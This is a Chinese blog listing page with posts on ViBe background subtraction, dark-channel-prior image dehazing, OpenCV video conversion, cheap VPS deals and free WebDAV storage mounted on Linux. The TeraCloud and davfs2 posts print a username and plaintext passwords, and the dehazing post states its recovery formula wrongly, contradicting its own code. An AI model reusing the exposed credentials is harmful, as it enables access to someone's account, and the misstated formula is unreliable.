break # 将视频帧转为灰度图 gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # 如果是第一帧,则用于初始化背景模型 if flag_first_frame: vibe.ProcessFirstFrame(gray) flag_first_frame = False continue # 否则更新背景模型 vibe.Update(gray) # 获取前景并转为uint8类型 segMat=vibe.getFGMask() segMat = segMat.astype(np.uint8) # 拼接出显示图片 img_show = np.hstack((frame,cv2.cvtColor(segMat,cv2.COLOR_GRAY2BGR))) # 缩放到原来的二分之一并显示 x, y = img_show.shape[0:2] img_show = cv2.resize(img_show, (int(y / 2), int(x / 2))) cv2.imshow('vibe',img_show) if cv2.waitKey(50)&0xFF==ord("q"): break # 释放资源 capture.release() cv2.destroyAllWindows()参考资料《O. Barnich and M. Van Droogenbroeck. ViBe: a powerful random technique to estimate the background in video sequences.》ViBe背景建模算法ViBe:基于Python实现的加速版(2019.10)背景提取算法——帧间差分法、背景差分法、ViBe算法、ViBe+算法
2021年12月07日
946 阅读
0 评论
0 点赞
2021-12-07
CCF推荐学术刊物目录-人工智能
0.完整版pdf中国计算机学会推荐国际学术会议和期刊目录-2019中国计算机学会(CCF)推荐中文科技期刊目录-20191.国际期刊A类B类C类2.国际会议A类B类C类3.中文A类B类C类参考资料中国计算机学会推荐中文科技期刊目录(人工智能)中国计算机学会推荐国际学术刊物(人工智能)
2021年12月07日
734 阅读
0 评论
0 点赞
2021-12-07
便宜的VPS/云服务器推荐
1C2G5M指的是:1核CPU,2G内存,5M带宽1.国内服务器腾讯云双十一,1C2G6M,58元/年 (约4.8元/月);2C4G8M,70元/年(约5.8元/月),198元/3年(约5.5元/月)。阿里云双十一: 2核2G 5M,60元/年(约5元/月);2核4G 5M,200元/3年(约5.5元/月)。UCloud双十一: 1核2G,128元/3年(约3.6元/月);2核4G,323元/3年(约8.9元/月)。阿里云学生机,1C2G5M,9.5元/月,阿里云ECS/轻量应用云。 24岁以下免学生认证。阿里云小站,2C2G5M,60元/年(约5元/月)。阿里云轻量应用服务器,香港/新加坡2C2G30M,408元/年(约34元/月);国内2C2G5M,60元/年。腾讯云学生机,1C2G6M,108元/年,只有三次续费机会建议直接买一年。腾讯云每日秒杀,1核2G6M,99元/年(约8元/月),297元/3年。华为云,学生机1C1G1M,9元,24岁以下免学生认证;。2.国外服务器2.1 FranTech访问地址:https://my.frantech.ca/cart.php配置1GB DDR4 RAM1 CPU Core @ 3.9Ghz+20GB NVME Storage1 IPv4 + /48 IPv61000Mbit Unmetered BW价格:$3.50/月流量限制:无2.2 vultr访问地址:https://www.vultr.com/products/cloud-compute/配置1 CPU1 GB Memory1 TB Bandwidth1 IPv4 + /64 IPv6 Address价格:$5/月$0.007/小时流量限制:1T2.3 spartanhost(经常缺货)访问地址:https://spartanhost.org/vps配置512MB Memory25GB Disk Space1500GB Transfer @ 1Gb/s1 vCore Processor1 IPv4 + /64 IPv6 Address价格:$3/月流量限制:1T参考资料高性价比和便宜的VPS/云服务器推荐 2021/11/2更新
2021年12月07日
635 阅读
0 评论
0 点赞
2021-12-06
免费的webdav资源汇总-可用于vps硬盘扩容
厂家/提供方官网地址免费容量Webdav挂载地址Teracloudhttps://teracloud.jp/10G/20G(填邀请码XYPB6)https://seto.teracloud.jp/dav/4sharedhttp://www.4shared.com/15Ghttps://webdav.4shared.comBoxhttps://www.box.com/10Ghttps://dav.box.com/davDriveHQhttps://www.drivehq.com/5Ghttp://www.drivehq.com/webdav/XXXXXXiDriveSynchttps://www.idrivesync.com/5Ghttps://dav.idrivesync.com/zotero坚果云https://www.jianguoyun.com/流量限制https://dav.jianguoyun.com/dav/参考资料2020年还有哪些支持WebDAV的网盘?
2021年12月06日
781 阅读
0 评论
0 点赞
2021-12-06
暗通道先验去雾原理及实现
1.原理介绍1.1 大气散射模型为了表示雾对图像成像的影响,研究者提出了一个物理模型--大气散射模型,用其来表示雾霾等恶劣天气条件对图像造成的影响。该模型由McCartney首先提出,目前已经成为计算机视觉领域中朦胧图像生成过程的经典描述,该模型的数学表达式如下:$$ I(x)=J(x)t(x)+A(1-t(x)) $$其中:$I(x)$、$J(x)$分别表示有雾图像和对应的的无雾清晰图像,$A$表示全球大气光,$t(x)$是透射矩阵,描述的是光通过传输介质后没有被散射的部分,$t(x)$的数学表达式为:(其中,β指的是光的散射系数,d(x)指的是目标与摄象机之间的距离。)$$ t(x)=e^{-\beta d(x)} $$$J(x)t(x)$叫做直接衰减项,描述的是正常的清晰图像在透射媒介后发生衰减后保留下来的部分。可以看出,清晰图像会随着成像设备与物体的距离即$d(x)$的增加发生指数性衰减。$A(1-t(x))$部分称为大气遮罩层,表示的是全局大气光对成像的影响。因此,根据大气散射模型可知,要想恢复出清晰图像,需要解决两个问题:(1)准确的对全局大气光A进行估计求解,(2)准确的对透射矩阵t(x)进行求解。由上面的大气散射模型我们可以很容易得出除雾公式如下:$$ J(x)=\frac{I(x)-A(1-t(x))}{t(x)}=\frac{I(x)+t(x)}{t(x)}+A $$1.2 暗通道先验理论介绍暗通道先验理论为何凯明博士2009年在CVPR(IEEE Conference On Computer Version and Pattern Recogintion/IEEE计算视觉和模式识别会议)上所提出。该理论基于对大量无雾的户外图像的观察和统计,得出了大部分的户外无雾图像的每个局部区域都存在至少一个颜色通道的强度值很低,换言之,这个区域的各个像素点的颜色通道强度的最小值是个很小的数,其值约等于0,即在其暗通道图中表现为黑色。何凯明博士在其发表的暗通道先验除雾的论文中提出,对于任意的输入图像J,其暗通道Jdark可以用数学公式表达如下所示:$$ J^{dark}(x)=\min_{c\in{r,g,b}}[\min_{y\in{\Omega(x)}}(J^c(y))] $$式中$Ω(x)$则是一个正方形区域,该区域的中心是像素$x$,$J^c(x)$代表图像$J$的在某像素点的颜色强度。由公式可知,暗通道实际上图像的最小灰度图经过最小值滤波得到的。分别对无雾图像和有雾图像进行暗通道图的求解效果如图所示:1.3通过暗通道先验对大气光A和透射率t(x)进行估计由大气散射模型可知,若要对图像进行除雾,等价于现在的已经知道的$I(x)$,要求解出$J(x)$,显然这个方程有无数个解。因此就需要用到暗通道先验理论对透射率$t(x)$和大气光$A$进行估计了。首先完成的是对大气光$A$的估计,根据对何凯明博士发表的论文的理解,本文对大气光求解的具体步骤如下:将暗通道图和原图转化为[图片像素数量*通道数]的向量。求出暗通道图对于的向量中亮度前1/1000的向量索引。根据索引在原图转化得到的向量中寻找具有最高亮度的点的值,这就是A的估计值了。在完成大气$A$的求解后,便可以对$t(x)$的求解进行推导了。参考相关资料对$t(x)$的求解过程进行推导如下:首先将大气散射模型稍作变形得到如下式子:$$ \frac{I^c(x)}{A^c}=t(x)\frac{J^c(x)}{A^c}+1-t(x) $$为了对$t(x)$进行求解,先假设在每一个窗口内透射率$t(x)$为常数$\hat t(x)$,因为上面已经得到了$A$的估计值,所以在这里只需将$A$当做一个常量即可,对上式两边进行两次最小值运算,可以得到下式(i):$$ \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{I^c(x)}{A^c})) =\hat t(x)\min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) +1-\hat t(x) $$根据暗通道先验理论有:$$ J^{dark}(x)=min_{c\in{r,g,b}}[min_{y\in{\Omega(x)}}(J^c(y))] =0 $$因此,可以得出:$$ \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) =0 $$代入式(i)可得式(ii):$$ \hat t(x) = 1 - \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) $$到这就得到了透射图$t(x)$的估计结果。但是如果直接使用这一结果进行除雾效果有时产生的结果并不理想。因为空中总是会存在某些漂浮的小颗粒的,这使得我们看远处的东西会或多或少的受到雾的影响,此外,雾的存在还能让人更好的感受到物体的远近,因此,在去雾时需要考虑对一部分的雾进行保留。对雾的保留可以通过在式(ii)中引入一个在[0,1]之间的因子来实现,变化后得到的新的公式如下所示:$$ \hat t(x) = 1 - \omega\min_{y \in \Omega(x)}(min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) $$根据何凯明博士的论文及进行了几次测试,最终本文选定的$\omega$的值为0.95。本文对复现实验中对$t(x)$进行求解过程及效果图如下图所示:1.4 根据大气光A和透射率t(x)的估计结果进行图像去雾到这里,我们就可以根据雾天图片退化模型进行清晰图像的恢复了。又因为当像素点x对应的透射图的$t(x)$很小时,会导致根据公式$$ J(x)=\frac{I(x)+t(x)}{t(x)}+A $$求解出的$J(x)$的值偏大,从而导致最终的得到的图片某些地方过曝,所以需要对其进行限制,本文选择限制的最大取值为$t_0=0.1$。从而的到最终使用的图像去雾公式为:$$ J(x)=\frac{I(x)+t(x)}{max(t(x),t_0)}+A $$2.代码实现2.0绘图辅助函数import matplotlib.pyplot as plt #显示单个图 def show_img_by_plt(img,title): plt.figure(figsize=(20,10)) #初始化画布 plt.axis('off') # 关掉坐标轴 plt.imshow(img) #显示图片 plt.title(title,y=-0.1) # 设置图像title plt.show() #show #通过subplot同时显示2个图 def show_double_img_by_subplot(img1,title1,img2,title2): plt.figure(figsize=(20,10)) #初始化画布 #第1个位置创建一个小图 plt.subplot(1,2,1)#表示将整个图像窗口分为1行2列, 当前位置为1 plt.axis('off') # 关掉坐标轴 plt.title(title1,y=-0.1) plt.imshow(img1) #第2个位置创建一个小图 plt.subplot(1,2,2)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title2,y=-0.1) plt.imshow(img2) plt.show() #show #通过subplot同时显示2个图 #同时显示三个图 def show_three_img_by_subplot(img1,title1,img2,title2,img3,title3): plt.figure(figsize=(16,8)) #初始化画布 #第1个位置创建一个小图 plt.subplot(1,3,1)#表示将整个图像窗口分为1行2列, 当前位置为1 plt.axis('off') # 关掉坐标轴 plt.title(title1,y=-0.1) plt.imshow(img1) #第2个位置创建一个小图 plt.subplot(1,3,2)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title2,y=-0.1) plt.imshow(img2) #第3个位置创建一个小图 plt.subplot(1,3,3)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title3,y=-0.1) plt.imshow(img3) plt.show() #show2.1 获取图片暗通道图# 核心函数 #暗通道实际上是在rgb三个通道中取最小值组成灰度图,然后再进行一个最小值滤波得到的。 def get_dark_channel_img(original_img, r=15): #原图rgb三个通道中取最小值组成灰度图 temp_img = np.min(original_img,2) #再进行一个最小值滤波 #最小值滤波用腐蚀来替代了,其实腐蚀就是最小值滤波,最大值滤波是膨胀 kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (r,r)) """ cv2.getStructuringElement( ) 返回指定形状和尺寸的结构元素。 这个函数的第一个参数表示内核的形状,有三种形状可以选择。 矩形:MORPH_RECT; 交叉形:MORPH_CROSS; 椭圆形:MORPH_ELLIPSE; (r,r)表示kernel的size """ dst_img = cv2.erode(temp_img, kernel) """ dst = cv.dilate(temp_img, kerne) 对图片进行腐蚀 参数说明: dst_img 输出与输入相同大小和类型的图像. kernel 用于侵蚀的结构元素可以使用getStructuringElement来创建结构元素。 """ return dst_img #返回最终暗通道图#调用测试 import imageio import numpy as np import cv2 img_src="./image/get_dark_channel_img_clear.jpg" original_img = imageio.imread(img_src) dark_channel_img=get_dark_channel_img(original_img) show_double_img_by_subplot(original_img,"original_img",dark_channel_img,"dark_channel_img")2.2根据暗通道图和原图估计大气光#核心函数 """ 1.从暗通道图按照亮度的大小取前0.1%的像素。 2.在这些位置中,在原始有雾图像I中寻找对应的具有最高亮度的点的值,作为A值。 """ def estimate_A(original_img,dark_channel_img): #计算图片的像素总数 img_h,img_w,img_c_num = original_img.shape img_size = img_h*img_w #计算暗通道图的像素值较大的0.1%的像素的数量 num_px = int(max(math.floor(img_size/1000),1)) #将暗通道图变为列向量 dark_vec = dark_channel_img.reshape(img_size,1); #将图片变为列向量 img_vec = original_img.reshape(img_size,3); #将暗通道图对应的列向量进行排序并返回从小到大的数组索引--argsort函数返回的是数组值从小到大的索引值 indices = np.argsort(dark_vec, axis=0) #取暗通道图像素较大的0.1%的像素的索引 indices = indices[img_size-num_px::] #将原图对应的 暗通道图的像素值排前0.1% 的像素点的像素值进行求平均 A = np.max(img_vec[indices]) return A#调用测试 import imageio import numpy as np import cv2 import math # img_src=str(input("请输入原图的地址:")) img_src="./image/haze_image.jpg" original_img = imageio.imread(img_src)/255 dark_channel_img=get_dark_channel_img(original_img) A = estimate_A(original_img,dark_channel_img)2.3根据原图和大气光A进行投射图t(x)的估计#核心函数 #根据论文中透射图的估计公式进行书写的 def estimate_transmission(original_img,A, omega = 0.95): min_min_Ic_div_Ac = np.zeros(original_img.shape,"float64"); for index in range(0,3): min_min_Ic_div_Ac[:,:,index] = original_img[:,:,index]/A transmission = 1 - omega*get_dark_channel_img(min_min_Ic_div_Ac); return transmission#调用测试 import imageio import numpy as np import cv2 # img_src=str(input("请输入原图的地址:")) img_src="./image/haze_image.jpg" original_img = imageio.imread(img_src) dark_channel_img=get_dark_channel_img(original_img) A = estimate_A(original_img,dark_channel_img) transmission = estimate_transmission(original_img,A) show_double_img_by_subplot(original_img,"original_img",transmission,"transmission")2.4根据估计好的大气光和透射图进行图片恢复#核心函数 def recover_haze_by_dark_channel_prior(haze_img,t_max = 0.1): dark_channel_img=get_dark_channel_img(haze_img) A = estimate_A(haze_img,dark_channel_img) transmission = estimate_transmission(haze_img,A) clear_img = np.empty(haze_img.shape,haze_img.dtype); for index in range(0,3): clear_img[:,:,index] = (haze_img[:,:,index]-A[index])/cv2.max(transmission,t_max) + A[index] return clear_img#调用测试 import imageio import numpy as np # haze_img_src=str(input("请输入有雾图片的地址:")) haze_img_src="./image/haze_image1.jpg" haze_img = imageio.imread(haze_img_src) clear_img = recover_haze_by_dark_channel_prior(haze_img) show_double_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img") transmission = estimate_transmission(haze_img,A) show_three_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img",transmission,"transmission")3.暗通道先验图片去雾汇总import imageio import numpy as np import cv2 import math def get_dark_channel_img(original_img, r=6): #原图rgb三个通道中取最小值组成灰度图 temp_img = np.min(original_img,2) #再进行一个最小值滤波 #最小值滤波用腐蚀来替代了,其实腐蚀就是最小值滤波,最大值滤波是膨胀 kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (r,r)) dst_img = cv2.erode(temp_img, kernel) return dst_img #返回最终暗通道图 def estimate_A(original_img,dark_channel_img): #计算图片的像素总数 img_h,img_w,img_c_num = original_img.shape img_size = img_h*img_w #计算暗通道图的像素值较大的0.1%的像素的数量 num_px = int(max(math.floor(img_size/1000),1)) #将暗通道图变为列向量 dark_vec = dark_channel_img.reshape(img_size,1); #将图片变为列向量 img_vec = original_img.reshape(img_size,3); #将暗通道图对应的列向量进行排序并返回从小到大的数组索引--argsort函数返回的是数组值从小到大的索引值 indices = np.argsort(dark_vec, axis=0) #取暗通道图像素较大的0.1%的像素的索引 indices = indices[img_size-num_px::] #将原图对应的 暗通道图的像素值排前0.1% 的像素点的像素值进行求平均 atm_sum = np.zeros([1,3]) for index in range(1,num_px): atm_sum = atm_sum + img_vec[indices[index]] A = atm_sum / num_px; return A[0] def estimate_transmission(original_img,A, omega = 0.95): min_min_Ic_div_Ac = np.zeros(original_img.shape,"float64"); for index in range(0,3): min_min_Ic_div_Ac[:,:,index] = original_img[:,:,index]/A[index] transmission = 1 - omega*get_dark_channel_img(min_min_Ic_div_Ac); return transmission def recover_haze_by_dark_channel_prior(haze_img,t_max = 0.1): dark_channel_img=get_dark_channel_img(haze_img) A = estimate_A(haze_img,dark_channel_img) transmission = estimate_transmission(haze_img,A) clear_img = np.empty(haze_img.shape,haze_img.dtype); for index in range(0,3): clear_img[:,:,index] = (haze_img[:,:,index]-A[index])/cv2.max(transmission,t_max) + A[index] return clear_img haze_img_src="./image/haze_image.jpg" haze_img = imageio.imread(haze_img_src) clear_img = recover_haze_by_dark_channel_prior(haze_img) show_double_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img")应用与视频from moviepy.editor import VideoFileClip def process_image(image): return deHaze(image/255.0)*255 output_file = './vedio/clear_dark_channel_short.mp4' test_clip = VideoFileClip("./vedio/haze_short.mp4") new_clip = test_clip.fl_image(process_image) new_clip.write_videofile(output_file, audio=False)参考资料暗通道先验原理——DCP去雾算法He K , Sun J , Fellow, et al. Single Image Haze Removal Using Dark Channel Prior[J]. IEEE Transactions on Pattern Analysis & Machine Intelligence, 2011, 33(12):2341-2353.
2021年12月06日
1,560 阅读
1 评论
0 点赞
2021-12-01
Python通过opencv实现视频和图像互转
1.视频转图片import cv2 import numpy import math cap = cv2.VideoCapture("./帯広空港.mp4") vedio_frame_count = cap.get(7) # 获取视频总帧数 vedio_fps = math.ceil(cap.get(5)) # 获取视频帧率 frame_width = cap.get(3) # 获取视频帧宽度 frame_height = cap.get(4) # 获取视频帧高度 print(vedio_frame_count,vedio_fps) frame_id = 1 while(True): ret, frame = cap.read() if not ret or cv2.waitKey(30)==ord('q'): break; cv2.imshow("frame",frame) frame_id += 1 cap.release() cv2.destroyAllWindows()opencv参数列表0 CV_CAP_PROP_POS_MSEC Current position of the video file in milliseconds or video capture timestamp. 1 CV_CAP_PROP_POS_FRAMES 0-based index of the frame to be decoded/captured next. 2 CV_CAP_PROP_POS_AVI_RATIO Relative position of the video file: 0 - start of the film, 1 - end of the film. 3 CV_CAP_PROP_FRAME_WIDTH #视频帧宽度 4 CV_CAP_PROP_FRAME_HEIGHT #视频帧高度 5 CV_CAP_PROP_FPS #视频帧速率 6 CV_CAP_PROP_FOURCC 4-character code of codec. 7 CV_CAP_PROP_FRAME_COUNT #视频总帧数 8 CV_CAP_PROP_FORMAT Format of the Mat objects returned by retrieve() . 9 CV_CAP_PROP_MODE Backend-specific value indicating the current capture mode. 10 CV_CAP_PROP_BRIGHTNESS Brightness of the image (only for cameras). 11 CV_CAP_PROP_CONTRAST Contrast of the image (only for cameras). 12 CV_CAP_PROP_SATURATION Saturation of the image (only for cameras). 13 CV_CAP_PROP_HUE Hue of the image (only for cameras). 14 CV_CAP_PROP_GAIN Gain of the image (only for cameras). 15 CV_CAP_PROP_EXPOSURE Exposure (only for cameras). 16 CV_CAP_PROP_CONVERT_RGB Boolean flags indicating whether images should be converted to RGB. 17 CV_CAP_PROP_WHITE_BALANCE_U The U value of the whitebalance setting (note: only supported by DC1394 v 2.x backend currently) 18 CV_CAP_PROP_WHITE_BALANCE_V The V value of the whitebalance setting (note: only supported by DC1394 v 2.x backend currently) 19 CV_CAP_PROP_RECTIFICATION Rectification flag for stereo cameras (note: only supported by DC1394 v 2.x backend currently) 20 CV_CAP_PROP_ISO_SPEED The ISO speed of the camera (note: only supported by DC1394 v 2.x backend currently) 21 CV_CAP_PROP_BUFFERSIZE Amount of frames stored in internal buffer memory (note: only supported by DC1394 v 2.x backend currently)2.图片转视频# 图片转视频 import cv2 import os img_dir = "./data_handle/img/" # 必须保证图片是相同大小的,否则会转换失败 img_list = os.listdir(img_dir) frame_rate = 30 # 帧率 frame_shape = cv2.imread(os.path.join(img_dir,img_list[0])).shape[:-1] # 图片大小/帧shape frame_shape = (frame_shape[1],frame_shape[0]) # 交换w和h videoWriter = cv2.VideoWriter('result.mp4', cv2.VideoWriter_fourcc(*'MJPG'), frame_rate, frame_shape) # 初始化视频帧writer # 开始逐帧写入视频帧 frame_id = 1 for img_filename in img_list: img_path = os.path.join(img_dir,img_filename) img = cv2.imread(img_path) videoWriter.write(img) frame_id += 1 if frame_id%100 == 0: break videoWriter.release() 参考资料OpenCV|图片与视频的相互转换(C++&Python)python3 opencv获取视频的总帧数介绍
2021年12月01日
743 阅读
0 评论
0 点赞
2021-11-30
[TeraCloud] 免费获取20GB的WebDAV--vps硬盘扩容
1.注册TeraCLOUD得10GBTeraCloud是一家日本的WebDAV商,目前有活动,你可以免费获得20GB的WebDAV空间,可以说是非常超值了。注册链接:https://account.teracloud.jp/RegistForm.php/index/。注册完成然后就可以登陆进个人中心了,并且获得了10GB的WebDAV空间。2.填写邀请码获取赠送的10GB首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/拉到下方“紹介ボーナス情報”。把邀请码XYPB6填进去然后猛戳“コード適用”,邀请方和被邀请方都能获得10GB空间,互利共赢。需要注意的是,如果您使用的是免费帐户,并且连续超过90天未登录,则TeraCLOUD上的帐户和数据将被删除,所以一定要记得每过一段时间就登录一次哦!3.使用web进行文件管理访问地址:https://seto.teracloud.jp/browser/4.开启并使用webdav挂载首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/点击Turn on Apps Connection。首次开启会显示webdav的连接密码,注意保存。然后使用对应的信息即可进行webdav的挂载使用。上述结果实例webdav地址:https://seto.teracloud.jp/dav/ username:jupiteradam password:uiVRoXQ9JdrqCykz
2021年11月30日
1,786 阅读
0 评论
0 点赞
2021-11-30
Linux挂载WebDAV
1.webdav介绍基于Web的分布式编写和版本控制(WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。WebDAV由互联网工程任务组的工作组在RFC 4918中定义。WebDAV协议为用户在服务器上创建、更改和移动文档提供了一个框架。WebDAV协议最重要的功能包括维护作者或修改日期的属性、名字空间管理、集合和覆盖保护。维护属性包括创建、删除和查询文件信息等。名字空间管理处理在服务器名称空间内复制和移动网页的能力。集合(Collections)处理各种资源的创建、删除和列举。覆盖保护处理与锁定文件相关的方面。2.软件安装与挂载davfs2安装# Centos & Fedora & RedHat yum -y install davfs2 # 其他的比如Ubuntu之类的 apt-get -y install davfs2安装完davfs2之后执行sed -i 's/# use_locks 1/use_locks 0/g' /etc/davfs2/davfs2.conf echo "你的WebDAV地址 用户名 密码" >> /etc/davfs2/secrets #保存用户名密码,以后可以直接免密码挂载 mount.davfs 你的WebDAV地址 你想要挂载到的目录 #即可成功挂载注意1:挂载目录必须提前创建好!注意2:如果你不执行第二句保存用户名密码,那么你以后挂载的时候都会要求输入用户名密码!示例sed -i 's/# use_locks 1/use_locks 0/g' /etc/davfs2/davfs2.conf echo "https://seto.teracloud.jp/dav/ jupiteradam hrxjKbiszNm9Bi" >> /etc/davfs2/secrets #保存用户名密码,以后可以直接免密码挂载 mount.davfs https://seto.teracloud.jp/dav/ /drive 3. 开机自动挂载如果想要开机自动挂载,则再执行echo "mount.davfs 你的WebDAV地址 你想要挂载到的目录" >> /etc/rc.local执行完此句之后检查一下/etc/rc.local文件,看看是否有exit 0这句。如果有的话,要手动把上面命令添加进去的语句放到exit 0之前。参考资料https://zh.wikipedia.org/wiki/WebDAV如何在各个平台下挂载WebDAV
2021年11月30日
754 阅读
0 评论
0 点赞
1
...
14
15
16
...
24